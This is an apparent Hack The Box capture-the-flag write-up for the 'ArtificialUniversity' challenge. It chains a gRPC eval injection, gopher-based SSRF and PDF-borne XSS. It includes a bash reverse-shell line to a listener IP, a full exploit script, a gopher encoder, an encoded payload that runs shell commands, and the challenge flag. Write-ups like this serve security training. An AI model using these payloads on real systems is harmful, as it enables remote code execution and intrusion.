🏫ArtificialUniversity

https://app.hackthebox.com/challenges/ArtificialUniversity

CHALLENGE DESCRIPTION

A group of known scammers are using a decoy dropshipping course site for cloaking payments from their other fraudulent sites. As you browse through it to look for more details you notice a small programming bug, that could lead to way bigger impact than initially expected. Keep looking for more vulnurabilities and take this greasy operation down.

Website

Analyzing Code

Juicy eval-function which can be exploited by seting the malicious formula(e.g. "import('os').system('bash -i >& /dev/tcp/10.10.14.1/4444 0>&1')") using Debugservice.

api.py
def GenerateProduct(self):
	if hasattr(self, "price_formula"):
		price = eval(self.price_formula)
		product = product_pb2.Product(
			id=str(uuid.uuid4()),
			name=f"Product {random.randint(1, 100)}",
			description="A sample product",
			price=price
		)
		return product

gRPC Exploit

To trigger this exploit we need to setup gRPC locally. For testing we start the app but first we need to install some requirements.

The structure should look like this(exploit.py below):

.
├── build_docker.sh
├── conf
│   └── supervisord.conf
├── Dockerfile
├── entrypoint.sh
├── flag.txt
├── src
│   ├── product_api
│   │   ├── api.py
│   │   ├── compile_proto.sh
│   │   ├── exploit.py
│   │   ├── product_pb2_grpc.py
│   │   ├── product_pb2.py
│   │   ├── product.proto
│   │   ├── __pycache__
│   │   └── requirements.txt
│   └── store
│       ├── application
│       ├── requirements.txt
│       └── run.py

Creating a venv and installing requirements.

VS Code Terminal
py -3.12 -m venv venv
.\venv\Scripts\Activate.ps1
pip install -r .\src\product_api\requirements.txt

We can run the store application locally

py .\src\store\run.py

And the product_api as well

py .\src\product_api\api.py

Or use the build-script but later we gonna need to expose the port 50051.

exploit.py
import grpc
import product_pb2
import product_pb2_grpc

def exploit():
    channel = grpc.insecure_channel('127.0.0.1:50051')
    stub = product_pb2_grpc.ProductServiceStub(channel)

    # Set malicious formula
    merge_request = product_pb2.MergeRequest()
    merge_request.input['price_formula'].string_value = "print('Hello from eval!')"

    print("[*] Sending malicious DebugService request...")
    stub.DebugService(merge_request)

    print("[*] Triggering GenerateProduct to execute the payload...")
    response = stub.GetNewProducts(product_pb2.Empty())
    print("[+] Response:", response)

if __name__ == "__main__":
    exploit()

Testing the exploit

py .\src\product_api\exploit.py
[*] Sending malicious DebugService request...
[*] Sending malicious DebugService request...
[*] Triggering GenerateProduct to execute the payload...
[+] Response: products {
  id: "9428e415-a29c-4ac6-8421-c726a92d55a0"
  name: "Product 23"
  description: "A sample product"
}
[..]
py .\src\product_api\api.py
[after exploit]
Hello from eval!
Hello from eval!
Hello from eval!

Depending on the random function 0,3 the eploit might not being excuted or even tree times as we see above.

def GetNewProducts(self, request, context):
	new_products = []
	for i in range(random.randint(0, 3)):
		new_products.append(self.GenerateProduct())
	return product_pb2.Products(products=new_products)

Gopher conversion into SSRF

In routes.py(store->application->blueprints) we get the next vulnerabilitiy we can exploit.

routes.py
@web.route("/admin/api-health", methods=["GET", "POST"])
def api_health():
	if not session.get("loggedin") or session.get("role") != "admin":
		return redirect("/")
		
	if request.method == "GET":
		return render_template("admin_api_health.html", title="Admin panel - API health", session=session)

	url = request.form.get("url")

	if not url:
		return render_template("error.html", title="Error", error="Missing URL"), 400

	status_code = get_url_status_code(url)
	return render_template("admin_api_health.html", title="Admin panel - API health", session=session, status_code=status_code)

This endpoint accepts a url as POST-Request and without any validation get_url_status_code(url)

The injection point is the function bot_runner(...) where an url like this gets called /admin/view-pdf?url=http://your-vps/evil.pdf and inside this PDF we gonna use a XSS and that's where we need the raw gopher

@web.route("/checkout/success", methods=["GET"])
def checkout_success():
	order_id = request.args.get("order_id")
	payment_id = request.args.get("payment_id")

	if not order_id:
		return render_template("error.html", title="Error", error="Missing parameters"), 401	
	
	db_session = Database()
	order = db_session.get_order(order_id)
	amt_paid = get_amount_paid(payment_id)

	if amt_paid >= order.price:
		db_session.mark_order_complete(order_id)

	else:
		return render_template("error.html", title="Error", error="Could not complete order"), 401
	
	bot_runner(current_app.config["ADMIN_EMAIL"], current_app.config["ADMIN_PASS"], payment_id)
	return render_template("success.html", title="Order successful", nav=True)

The next step is to convert the raw request into a hex-encoded gopher string and inject that into the webapp. For this we gonna extract the gRPC request from Wireshark .

We filter for the port we are using tcp.port == 50051 and we capture the loopback.

Right-Click ,follow TCP and afterwards getting the raw input:

Why gopher://?

SSRF to gRPC won’t work via http:// — gRPC is binary over HTTP/2, not HTTP/1.1.

But: gopher:// lets you inject raw TCP bytes, so you can smuggle in an exact grpcurl request.

This bypasses protocol limitations — gopher is like low-level netcat over SSRF.

Converting this raw hex to a gopher using a python script:

import binascii
import urllib.parse

def hex_to_gopher(hex_str: str) -> str:
    # Clean up line breaks and spaces
    cleaned = hex_str.replace(" ", "").replace("\n", "").strip()

    if len(cleaned) % 2 != 0:
        raise ValueError("Hex length is invalid")

    # Convert hex to raw bytes
    binary = binascii.unhexlify(cleaned)

    # Percent-encode the raw bytes
    encoded = urllib.parse.quote_from_bytes(binary)

    return f"gopher://127.0.0.1:50051/_{encoded}"


raw_hex = """505249202a20485454502f322e300d0a0d0a534d0d0a0d0a00002404000000000000020000000000030
[...]
000000040100000000
0000000005"""

print(hex_to_gopher(raw_hex))

Some curl-version don't allow null-byte https://github.com/curl/curl/issues/14219

Converting PDF

At least we trigger this CVE at the url, so hosting this PDFs and moreover changing the 'hello evil' to revshell or cp the flag.

http://<ip>:1337/checkout/success?order_id=<id>&payment_id=http://<ownip>/exploit.pdf
python genpdf.py "var form=document.createElement('form');form.action='http://127.0.0.1:1337/admin/api-health';form.method='post';var urlInput=document.createElement('input');urlInput.value='gopher://127.0.0.1:50051/_PRI%20%2A%20HTTP%2F2.0%0D%0A%0D%0ASM%0D%0A%0D%0A%00%00%00%04%00%00%00%00%00%00%00%00%04%01%00%00%00%00%00%00Z%01%04%00%00%00%01%83%86E%9Ab%BB%0F%25%A4J%FA%EC%3C%96%91%3B%8Bgs%10%AC_%2Cv%CD%B8%B6w1%0BA%8B%A0%E4%1D%13%9D%09%B8%D8%00%D8%7F_%8B%1Du%D0b%0D%26%3DLMedz%95%9A%CA%C9m%941%DC%2B%BC%B8%94%9A%CA%C8%B4%C7%60%2B%B2%EA%E0%40%02te%86M%835%05%B1%1F%00%00d%00%01%00%00%00%01%00%00%00%00_%0A%5D%0A%0Dprice_formula%12L%0AJ__import__%28%22os%22%29.popen%28%22cp%20%2Fflag%2A%20%2Fapp%2Fstore%2Fapplication%2Fstatic%2Fflag.txt%22%29';urlInput.name='url';form.appendChild(urlInput);document.body.appendChild(form);form.submit();"

Flag

HTB{ol4_t4_ch41n5_ol4_t4_ch41n5_l4mp0un_t4_d15m4nd14_4l1_day}

Last updated